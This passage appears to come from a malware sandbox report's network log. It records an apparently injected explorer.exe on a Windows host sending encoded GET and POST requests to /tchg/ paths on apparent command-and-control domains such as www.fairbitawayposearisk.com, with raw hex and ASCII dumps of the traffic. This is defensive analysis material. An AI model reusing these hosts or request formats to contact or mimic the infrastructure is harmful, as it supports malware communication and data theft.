Z5xdL4BSTGEuGn8V5Sl2pRLSfvoOY0~LCigPYZs14hrLYsQD04aLxZFKnt1H7GapXK93pcFenG0Jf3bHmX8pkjsjrIqW50LqxzSDNRyDFnBS5fD48I0KCG0x1tTrwEc3KGqeClvGs2iuKotnJD23uTdW5nUmkRD1yMX_0lJA8r2CDkvQbCuuBqinYAaiQXZNWFQOvQRR8OTvt5kC8jI8N8TZf80HLNVOGaCX7hfsN8ZxYz9PbkCSAqmlGPCwIJ0NtelkapWt0IIPBevJi5jdZq1FUnDD0GtJ~2YsaJSzOAi7VjlnNGZ2xD2MwnyzzcR0S-jkrEifGpn0H8X_kgqeq7kwX5OktjGO6xiKANcHzLV2827FeD262xnWcD(PGQvMhvT3e6NCFSB4jgaOyCKL23LCDhBrJE5-zNtTVnoZeZ48eHh1Bp80Rn6fIYmR4KKiIvMOGzGPwfSnXHExmyLQa2UyWUsvy5oP3QZHb_~mQ3dQRIs_vxuQx1wg5F2bS3vlZa9KeD6v~mjuxlonZVl3pD9hc3fXzMz-3H~3PGrw1A5RHQA8Rp0ZMB8ymtR5SNFi8OoopTb73IN4fJEBjxrQADky5p0LRbK2TYvNp4B8l27hpvi95AKkDjH9kornQTh3bZOG(fHAGRIT8484luCQRRadq9JYnlXrNxQ9UgbVyp0_EqyMAwrKydzMKHDLBWG0wGoPkZ~GGefu8BwpUXlnjnj9n_gTUgC6PtcXn69nZz5DosGH7OrPE9L7hR310Ph-hxVXq9Gdjw5oj4grizoYMfsuKnYYISjFiEJfJqfuHyAZd-bDcjT3uXuoNc0ZAgo20xxI6B9JPpMc4gkkmZLeS1N8uA8otWgpydF-4noKS-xxSrhOmXsMaYoZvNDpKvuJd6GoBMrQ7iqmhW5Sn4QB1W0lqvfNGOJHIfefgjD5Gl0lmtujQeLlPCM2KRiIDMD_ZMa-7eFrZoiFGaGfoMHWpVMMIk4tf-v4q5x8O1B_I6qi1fsE~pqpr-W212oaqLlTWlHkBvK5Ukx5Q7Iaxls5a9MRh5H6qpZaWtCq0sw33TzjIdyI3g5QXL3S9I6F0i5JIfizOhH-yj2mK1e-oI5r0ZGFEMQKDrXdmiYCWVWBx8HjxbdUoMWiDqfqzhGUms(o2tsJPqJW0uzNtgm2yw(b5ilOk93vjfVHTXcvVCvMd2~hx43zBdyrWD5_dkGBlhwhXIZITGUWAZBerZNPkcevnHMdomuxxmI4c9aPko6SnXMtIbsrzEDk~Ry5j6oaeJpuRsO4rJrHMkcJyOqA(dYPEc0liiwMe0uCUPsTJtO0HMV9AN9vROz-X4EcZH4uUn~-HeCsyBCCc3(jAe0JSIuHxMVXq0l7MxJg0PRyb1F7xlFrY9406Jj_WTR53-~ZaVhVwLwu2D92d2zVSNL6WWRk6_DdtXvjxucrTn4B4PMRFbTDT9MC0_a3l_py5ZG_wO6cTftsDN5o1wD61Ne946lrn_ETE_elPsJq3rG99sScuPKwuRBj4-3Hjlt1~IsdtRVK6hsz~4MihbjC6cGRYAexNE6EGpD0uvQvMbjHqYxULMLO8huUyYScLPWhoRTk1Lg9fmereZC2YMWzvwp12tep8VXt4K5t~ywUzwlJBVHW3GLytmGHTTq79mTFkt5ehClWHgB3G-(LP1gZxLlz1VaJQJwdRzI22CYlii~JmxG5RztCSsrb6zFPEfJP3KvU6mjqwxqQ9rYM3SErWKMf1adKXJQ5b4eagywlL96frjMY336JLJG2E9y1B_NricPX5APT5HsTrzVqgZf-aNPVi-d9IjxYW1~W91dT2hE71Zg5MbESVpeAv_YLXL3RIR5niMcWUAsrEMqyiivX1J5Kas9Ehrox0RKe0nfF1dBVnrOJjd0yg-CmEDQbYi9OxB6kxu8v~AxpuwkWDUplmOUCMD7mNEGj3Os8OF6PmNXs1igDc6vNDazgKC0T7vKpaphMVX~EIY8KRsd7ijFPmYq8i9mbjnGmtvt5pxKSloqh7vaLWEhuqkwdUq9XjhgB(rzKo23-xDXX2YVpE2r2OKIEI_DxGQqPZaGQI_h1OJhCyOx4M_1ip0KnYxXquV3ZBxbqEzvw2nKqDAOXV27ItKsJO1tCDU~Xo-uGpWcJkgSrI9kTQE3GFy7YZzaPi-6IPyWW8wxkNJhNZXGkqYLJVCm7E1xVSTlIdLBdOLfu7VGaU7GEz9YfChF-dYRfDJCO4-ew0kIYvDdLZ4LNp0QD2h9dw0bCJxDvQwOW97jkg6xA4VtKTt41NDF68VKSnDm0XFxFGOBxSPg6TOzKuVZR4z2VQWNDRrpclFcY5S43TVqcLXOgOtSk8Pr5okFjFIIB5tfeEcg0yG0uyhB0
May 30, 2023 11:09:07.434878111 CEST	605	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:09:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0
May 30, 2023 11:09:07.434999943 CEST	608	OUT	Data Raw: 68 7a 4b 36 65 30 4f 65 7a 4a 57 32 38 4c 6f 6a 74 6d 39 42 6e 38 69 4d 44 45 79 31 6f 52 47 42 5a 57 6e 31 31 49 72 55 54 34 59 67 34 7a 6b 48 57 7a 4a 39 74 55 46 44 37 50 50 55 4a 57 71 4a 4e 28 56 6c 44 32 31 4f 4a 37 41 53 5f 76 6b 75 74 61 Data Ascii: hzK6e0OezJW28Lojtm9Bn8iMDEy1oRGBZWn11IrUT4Yg4zkHWzJ9tUFD7PPUJWqJN(VlD21OJ7AS_vkutaRvaFR54cpkRr-REqW1qphRvOLB60OF8zfmNnQIg~VI1Joh4O6iDscAaPGE_mMg1babIvCxbZfuZf3QexB6rk-DIH932RmSLwxTHJj5s9SsRH8qmd4uX59ux239loXg_DOe24pirEsvGrk1zathUSWpzvpPMlmL8W3
May 30, 2023 11:09:07.435127020 CEST	611	OUT	Data Raw: 54 32 6a 57 73 51 56 62 6e 43 78 6b 71 4b 6d 4b 52 44 53 39 33 49 76 72 39 6c 33 68 37 46 44 56 66 65 78 34 76 62 4e 30 52 59 71 46 6d 77 70 75 57 71 61 72 35 46 55 62 77 45 65 79 6e 5a 42 6f 30 6b 4f 51 4f 70 41 66 58 34 74 6d 52 35 62 69 64 53 Data Ascii: T2jWsQVbnCxkqKmKRDS93Ivr9l3h7FDVfex4vbN0RYqFmwpuWqar5FUbwEeynZBo0kOQOpAfX4tmR5bidSAdR(k1YKcci88VFjv~_LwSZlEqHcgwr4p5cad5tzAjp4GkIoi~ODfg-5Smlj2TrDWc3qXgzMjh-BDgaNObJpPc3N84Vs7k0ccil4lBPJ1OkHjcnoCfmjDwQ3j~7myHBmipPphaBLyIk~h8IpkYz1Z420I~C3phOv8
May 30, 2023 11:09:07.435340881 CEST	616	OUT	Data Raw: 6f 75 79 34 55 4c 32 7e 79 53 38 7a 57 71 42 7e 65 6e 30 78 30 63 43 57 35 79 48 4e 54 7a 57 44 65 37 51 7a 53 73 2d 79 61 5a 32 4a 4f 61 5a 62 53 6d 44 59 62 6a 6f 79 39 57 79 48 74 79 78 4d 35 6e 69 6d 75 51 57 55 7a 50 41 4c 55 37 49 54 38 57 Data Ascii: ouy4UL2~yS8zWqB~en0x0cCW5yHNTzWDe7QzSs-yaZ2JOaZbSmDYbjoy9WyHtyxM5nimuQWUzPALU7IT8Wcf8oOssUXMp19sM8R2W7Uv8jTovmEBRV6pKn9WueSZ4AgR_gJ5LOqi28rfWG2JVygQnU4gKf3d-BUPahpaqjwyPeH5YvNrnfcrm2hkEkpJGYIk1ZmNT5USc~jT9GWCCo41XBoVtZQUNf9hcVgzoAzWurO3adVBh7l
May 30, 2023 11:09:07.435532093 CEST	622	OUT	Data Raw: 58 45 54 32 52 43 4b 72 4a 6e 6f 5a 75 71 76 6c 6c 48 34 64 42 46 43 4c 7a 74 39 48 75 31 4b 7a 6f 78 4f 6a 47 6d 68 78 57 7e 6f 54 55 6b 47 4d 6d 7e 73 49 7a 6a 53 50 7a 78 52 4f 4e 65 63 4b 69 48 30 31 57 28 47 71 33 68 63 67 72 51 67 31 39 6d Data Ascii: XET2RCKrJnoZuqvllH4dBFCLzt9Hu1KzoxOjGmhxW~oTUkGMm~sIzjSPzxRONecKiH01W(Gq3hcgrQg19msJnEXmyHH0XV6O91EC0IxY88jYH9leIQFWba95owWZERo8Z4S0B1IC0~PLNGoe0FQ3x~NzlPbCOOh0KYkqaOdH8VjuEdIqasxaJzIvV7wDO4s4ri2QJkFpg~_mY6IaTN7wSs64vhU(yPmiFHAD4p_3P(FvUzf3NQw
May 30, 2023 11:09:07.435668945 CEST	623	OUT	Data Raw: 48 50 36 78 68 4e 6b 38 63 37 45 39 6c 47 4c 31 75 6e 51 7e 6f 7a 39 59 73 4a 45 62 71 46 4c 74 35 42 61 69 51 28 2d 48 58 49 31 6c 68 44 4b 53 6b 6e 5f 6b 6f 68 6d 77 47 35 35 28 5a 57 43 4e 63 64 33 4a 51 7a 30 70 62 28 4a 36 58 51 58 47 69 49 Data Ascii: HP6xhNk8c7E9lGL1unQ~oz9YsJEbqFLt5BaiQ(-HXI1lhDKSkn_kohmwG55(ZWCNcd3JQz0pb(J6XQXGiIM7smdQE4gpKTAs2R6YKGdrvF57OwpzH87FwUjDJrVDogA04ffCtOkFgVqSR3zU0d_9uAfmNcACkpmdYV-oEOu00BgrU4l0W62gf(IfIpuDG7vsD7d5JE89ldBtZFVVUg14SnypG48T9FuRIG-bnQ2XBVUK2hesNyc
May 30, 2023 11:09:07.435826063 CEST	631	OUT	Data Raw: 76 6a 4c 4a 6b 44 73 55 6e 78 76 52 6e 4d 76 69 5f 61 67 61 4f 4e 4d 44 43 4a 36 6b 69 6c 52 36 6b 34 45 46 4c 31 52 51 4d 72 50 7e 69 6c 75 78 33 58 6f 5a 37 4f 66 59 5f 64 4d 62 64 64 61 7a 4b 6c 36 67 50 58 48 69 61 48 6e 55 68 42 65 73 62 35 Data Ascii: vjLJkDsUnxvRnMvi_agaONMDCJ6kilR6k4EFL1RQMrP~ilux3XoZ7OfY_dMbddazKl6gPXHiaHnUhBesb5WQcCmaWr1PjXDFYUZx-l8~uAbBYQ_Y2(_SmXi6r0KSn1p3y6VaKwkcPwQNvJxFp4WyENT~0x4FYNA~5QgVj6aG7(BpEMtJhMKhTGazpGgjG2Ps6deoupsvgJZs30MouHvywA37Dd0gzzchZPMu2~0oDvh0slntiKf
May 30, 2023 11:09:07.447365046 CEST	639	OUT	Data Raw: 4b 28 44 53 51 59 4a 76 41 50 6f 37 49 46 31 4d 76 4c 74 55 57 30 6e 36 6a 77 2d 77 47 6a 35 75 58 70 34 61 51 6e 4d 37 50 74 61 76 53 4e 74 37 55 4b 54 74 37 42 36 73 6b 70 64 74 47 76 69 48 31 54 56 6e 78 43 68 4d 7a 59 73 75 52 69 38 7a 55 48 Data Ascii: K(DSQYJvAPo7IF1MvLtUW0n6jw-wGj5uXp4aQnM7PtavSNt7UKTt7B6skpdtGviH1TVnxChMzYsuRi8zUH58k~MM4CT(PjDgr8CiGwMUZjaNF7JkpU_Rtj1(1O2TSBgOvIsWizSWyPzWSgs04qYdgulmv0uq1U75ZweyBpfaR~AAVi09AjOIgB3Rn6AbkiI(IS6g9xqD-Um2icMPobiUfkx~Wm8xFwvaD9CbphzSOXpS9Iu97mc
May 30, 2023 11:09:07.447489977 CEST	645	OUT	Data Raw: 2d 47 54 58 36 76 70 75 61 55 68 57 33 28 70 52 4c 49 6c 6b 33 6c 61 68 55 35 52 76 6e 55 76 76 4c 6a 61 45 47 4e 64 65 37 75 76 44 52 70 68 61 39 53 57 47 34 4f 66 36 53 67 47 74 67 32 54 32 6a 66 49 6f 35 69 39 6f 49 42 52 7e 38 42 6e 7e 43 7a Data Ascii: -GTX6vpuaUhW3(pRLIlk3lahU5RvnUvvLjaEGNde7uvDRpha9SWG4Of6SgGtg2T2jfIo5i9oIBR~8Bn~Cz40AQN5IEBZJBSr_J500~3B5fRBjlf09fD12cNznZ-l6Ik(Ik8Fcea(Kw6tai4IRZEm2ZqU9ZrHFmBe_lyp-cYitIIu-IKuf0_AZpsHdvJAoCnV3YYk6BrJy(dnqQyKm6BV0kr3svURZrrvcw-Npad6wZqoC7ZDFUa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.11.20	49781	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:09.951790094 CEST	646	OUT	GET /tchg/?O0qEM=QQ6dpIpAk027UR3BL5U7sG0DxH6sKQa5YnzY0agrXpda3w5URJfAhsqjtJqbY2/M8fhrkTh6mIV7dbZQ8z6SYrdm6JILdk9Mfg==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.printmyride.store Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:09:09.962331057 CEST	646	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:09:09 GMT Content-Type: text/html Content-Length: 168 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.11.20	49782	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:15.159581900 CEST	647	OUT	POST /tchg/ HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.fairbitawayposearisk.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.fairbitawayposearisk.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 63 57 49 75 4c 7a 32 36 63 6f 61 55 44 49 57 36 69 59 44 43 53 63 68 52 4d 39 72 45 37 50 47 57 73 49 62 47 4d 31 4c 53 4e 6c 56 68 53 56 67 48 55 71 43 31 36 4a 4c 41 32 35 7e 66 6b 78 53 77 32 36 6f 41 72 45 74 66 5a 62 56 51 56 66 77 63 4f 65 65 36 52 71 36 31 79 7a 42 4e 68 56 62 76 6e 31 50 42 53 4a 77 49 57 53 35 43 45 6c 76 4c 53 4b 4e 52 6e 48 75 54 38 57 45 41 4a 32 4e 74 32 32 65 75 6f 4e 56 5a 6f 44 48 56 79 42 47 37 59 6d 6a 51 52 6a 45 46 50 4b 7e 6e 64 62 58 43 46 31 4a 46 4d 4d 65 78 79 53 57 5a 32 38 61 68 69 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=cWIuLz26coaUDIW6iYDCSchRM9rE7PGWsIbGM1LSNlVhSVgHUqC16JLA25~fkxSw26oArEtfZbVQVfwcOee6Rq61yzBNhVbvn1PBSJwIWS5CElvLSKNRnHuT8WEAJ2Nt22euoNVZoDHVyBG7YmjQRjEFPK~ndbXCF1JFMMexySWZ28ahig).
May 30, 2023 11:09:15.846158981 CEST	648	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:09:15 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.11.20	49783	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:17.846008062 CEST	649	OUT	POST /tchg/ HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.fairbitawayposearisk.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.fairbitawayposearisk.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 63 57 49 75 4c 7a 32 36 63 6f 61 55 43 70 6d 36 75 66 66 43 46 73 68 4f 44 64 72 45 30 76 47 53 73 50 54 47 4d 30 66 43 4d 54 39 68 53 31 77 48 56 6f 71 31 35 4a 4c 41 39 5a 7e 65 70 52 53 72 32 36 56 33 72 46 52 66 5a 62 42 51 57 4d 34 63 66 2d 65 35 4a 36 36 36 34 54 42 4f 72 31 62 70 6e 31 79 6f 53 4c 4d 49 52 69 46 43 46 6d 48 4c 59 34 6c 51 32 58 75 64 74 32 45 44 41 57 4e 5a 32 32 6a 54 6f 49 68 6a 6f 31 76 56 31 67 6d 37 5a 6d 6a 54 66 54 46 50 42 61 28 62 54 62 69 61 4e 30 39 69 63 74 53 72 39 7a 33 64 77 64 66 51 79 51 4f 57 54 57 4c 62 4f 5a 6a 5f 78 51 72 38 6c 6e 76 67 57 63 7a 6a 74 4b 65 35 6e 6f 55 53 47 52 53 55 56 45 47 70 7a 65 6a 54 30 39 5a 71 52 53 38 69 4f 36 63 38 6f 5f 64 6e 5a 66 41 63 7e 68 37 56 35 58 52 35 35 79 49 38 57 32 47 77 52 4f 55 69 58 4a 5a 68 73 5f 34 6c 69 66 32 50 73 5a 76 43 33 5f 68 61 45 51 79 44 4d 68 4a 48 6d 31 73 31 49 2d 46 38 4e 42 57 6e 77 50 35 7a 30 54 49 6c 72 5a 68 4d 78 32 79 56 6d 59 44 38 68 74 66 38 65 37 45 67 37 7a 54 45 7e 71 67 6e 69 79 56 37 34 61 5a 2d 7a 70 48 66 62 69 6a 50 48 51 4c 74 4f 78 77 68 39 51 55 30 51 52 79 6b 4b 30 46 67 38 42 68 77 76 4d 35 31 77 63 30 73 63 51 53 55 77 4b 46 52 6e 6f 4f 62 31 31 70 4b 68 6d 4e 37 6b 33 67 47 41 39 4c 37 7e 4e 4d 2d 42 74 49 62 34 4a 51 72 52 68 73 49 75 6d 55 39 74 57 6d 6b 79 41 69 5a 64 6c 4c 77 66 75 47 46 52 7a 4a 4d 7e 44 76 44 37 5f 4b 43 76 66 6a 44 31 65 4d 62 6d 39 39 55 50 51 52 59 6d 57 67 64 4e 72 79 77 49 4d 58 30 41 53 62 39 36 2d 72 33 64 4a 67 67 71 77 6b 2d 53 37 62 75 46 62 4b 41 69 4a 77 36 4d 55 4d 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=cWIuLz26coaUCpm6uffCFshODdrE0vGSsPTGM0fCMT9hS1wHVoq15JLA9Z~epRSr26V3rFRfZbBQWM4cf-e5J6664TBOr1bpn1yoSLMIRiFCFmHLY4lQ2Xudt2EDAWNZ22jToIhjo1vV1gm7ZmjTfTFPBa(bTbiaN09ictSr9z3dwdfQyQOWTWLbOZj_xQr8lnvgWczjtKe5noUSGRSUVEGpzejT09ZqRS8iO6c8o_dnZfAc~h7V5XR55yI8W2GwROUiXJZhs_4lif2PsZvC3_haEQyDMhJHm1s1I-F8NBWnwP5z0TIlrZhMx2yVmYD8htf8e7Eg7zTE~qgniyV74aZ-zpHfbijPHQLtOxwh9QU0QRykK0Fg8BhwvM51wc0scQSUwKFRnoOb11pKhmN7k3gGA9L7~NM-BtIb4JQrRhsIumU9tWmkyAiZdlLwfuGFRzJM~DvD7_KCvfjD1eMbm99UPQRYmWgdNrywIMX0ASb96-r3dJggqwk-S7buFbKAiJw6MUM.
May 30, 2023 11:09:18.533574104 CEST	650	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:09:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 320 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 75 73 72 5f 69 64 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 69 73 70 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 3a 20 64 74 20 69 6e 20 3c 62 3e 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 6e 65 77 72 65 64 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 31 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined variable: usr_id in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: isp in <b>/var/www/html/newred.php</b> on line <b>51</b><br /><br /><b>Notice</b>: Undefined variable: dt in <b>/var/www/html/newred.php</b> on line <b>51</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.11.20	49784	216.108.231.108	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:20.535238981 CEST	663	OUT	POST /tchg/ HTTP/1.1 Host: www.fairbitawayposearisk.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.fairbitawayposearisk.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.fairbitawayposearisk.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 63 57 49 75 4c 7a 32 36 63 6f 61 55 43 70 6d 36 75 66 66 43 46 73 68 4f 44 64 72 45 30 76 47 53 73 50 54 47 4d 30 66 43 4d 54 31 68 53 6d 49 48 55 4a 71 31 34 4a 4c 41 79 4a 7e 62 70 52 54 35 32 36 4e 7a 72 46 64 50 5a 59 35 51 57 39 6f 63 66 72 71 35 63 4b 36 33 30 7a 42 4d 68 56 62 39 6e 31 50 5f 53 4b 6f 59 57 53 78 43 45 68 72 4c 53 76 35 52 7e 6e 75 54 74 32 45 45 58 47 4e 37 32 32 6d 4d 6f 49 6c 6a 6f 7a 76 56 30 54 65 37 56 52 33 54 57 6a 46 4f 48 71 28 55 63 37 69 56 4e 30 35 63 63 74 53 52 39 78 62 64 77 64 28 51 67 44 6e 41 51 32 4c 62 43 35 6a 2d 31 51 6e 77 6c 6a 50 6f 57 63 48 6a 74 49 4f 35 6d 49 55 53 44 31 47 58 57 6b 47 76 6b 2d 6a 2d 77 38 6b 47 52 53 70 47 4f 36 49 38 6f 4d 68 6e 57 4d 6f 63 35 45 50 56 77 58 52 37 33 53 49 76 59 6d 48 70 52 4f 45 45 58 4e 6c 58 73 5f 73 6c 6a 2d 57 50 6f 4c 4c 64 7e 5f 68 59 59 41 79 57 49 68 56 4c 6d 31 38 78 49 2d 46 53 4e 46 4f 6e 77 2d 4a 7a 31 53 49 6d 72 4a 68 4c 6b 6d 7a 58 39 6f 50 71 68 73 7a 4f 65 36 38 77 37 79 58 45 76 36 67 6e 33 68 39 34 6a 36 5a 35 78 70 48 4e 66 69 69 56 48 51 47 45 4f 77 30 4c 7e 67 34 30 66 41 4f 6b 63 45 46 6e 74 52 68 30 35 38 35 33 6e 4d 30 73 63 51 4f 2d 77 4b 42 52 6e 63 43 62 30 47 42 4b 6b 31 6c 37 6f 58 67 63 41 39 4c 78 7e 4e 41 64 42 75 6f 35 34 49 68 4d 52 69 41 49 75 58 45 39 73 54 4b 6e 33 77 69 63 4d 31 4b 79 51 4f 36 65 52 7a 56 45 7e 44 28 31 36 4d 4f 43 75 66 7a 44 69 4f 4d 59 77 4e 38 65 66 41 52 4b 77 6d 73 42 4e 72 75 4b 49 4e 54 6b 41 51 4c 39 36 35 65 78 48 35 63 48 6f 43 41 4d 52 4d 54 36 46 34 69 79 6c 6f 34 37 54 6a 50 78 77 57 67 4c 65 48 78 48 6c 6c 4e 31 46 36 72 67 76 6b 5a 6e 78 6f 47 6e 57 42 6f 42 4f 4a 7e 56 36 5a 77 50 51 57 4f 58 7e 30 30 69 37 4a 58 4b 6e 6e 6b 53 45 53 37 2d 7a 76 71 4e 77 6d 44 30 45 56 51 76 4d 6c 43 5f 42 4d 71 6a 39 6c 79 31 48 65 54 44 4f 79 43 33 74 77 67 49 6a 66 78 78 36 58 31 58 34 39 67 51 41 4a 70 39 6e 59 7a 77 54 76 72 59 62 72 79 74 67 33 70 6c 39 62 41 4b 7e 30 48 45 36 77 4a 51 61 5f 47 46 43 67 48 36 71 5a 4a 30 6b 57 41 48 39 6a 65 71 7a 41 54 66 51 38 37 53 42 64 6a 59 58 73 73 73 68 74 58 78 6c 44 39 55 62 4b 6b 4e 56 4c 53 42 4b 77 45 6f 75 77 6c 42 6d 39 66 7a 42 50 69 6e 31 79 31 5f 57 6a 42 38 6d 2d 45 45 6b 36 6c 39 68 50 41 76 61 56 4f 4a 61 6a 69 4f 52 72 47 6f 47 5f 56 39 62 47 50 46 4d 41 28 32 36 5a 28 41 79 71 50 74 49 52 53 48 51 44 44 46 62 39 79 4f 4b 69 53 38 6d 47 61 33 6b 6d 49 4f 37 44 74 52 6e 69 56 5f 35 6e 34 37 67 71 70 78 73 71 48 63 54 79 36 35 38 6d 32 6c 67 6f 7a 5f 4a 33 36 49 41 5f 6a 2d 6e 44 79 39 4f 33 54 51 59 5f 52 71 36 43 62 6d 50 6f 41 71 77 48 4b 4b 4b 47 45 6f 51 54 57 6f 33 56 68 71 7e 71 54 49 79 4c 6b 73 56 63 68 45 33 79 73 5a 70 6f 63 43 64 66 55 77 69 6d 4a 66 7a 54 57 31 4e 6b 